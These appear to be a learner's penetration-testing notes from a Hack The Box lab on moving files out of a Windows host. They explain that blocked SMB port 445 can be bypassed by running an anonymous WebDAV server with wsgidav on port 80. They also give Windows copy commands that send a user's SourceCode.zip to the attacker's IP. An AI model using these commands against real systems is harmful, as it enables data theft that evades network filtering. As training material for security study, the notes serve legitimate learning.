See impacket SMB downloads.
ERROR HANDLING & BUT
Most companies don’t allow 445 smb share connections, but you can use WebDAV(RFC 4918)
It is an extension of Http (can also use https) and makes a webserver behave like an smb but on port 80/443
Install WebDav server on kali
- Momothechi@htb[/htb]$ sudo pip3 install wsgidav cheroot
Using the python module
sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous
Accessing the SMB share on the windows host
C:\htb> dir \\192.168.49.128\DavWWWRootnote: DavWWWRoot is a keyword in the Windows shell it tells the driver to connect to the root of the WebDav server.
alternatively you can also specify a specific folder if it exists:
\192.168.49.128\sharefolder
Now we can upload files
C:\htb> copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.129\DavWWWRoot\C:\htb> copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.129\sharefolder\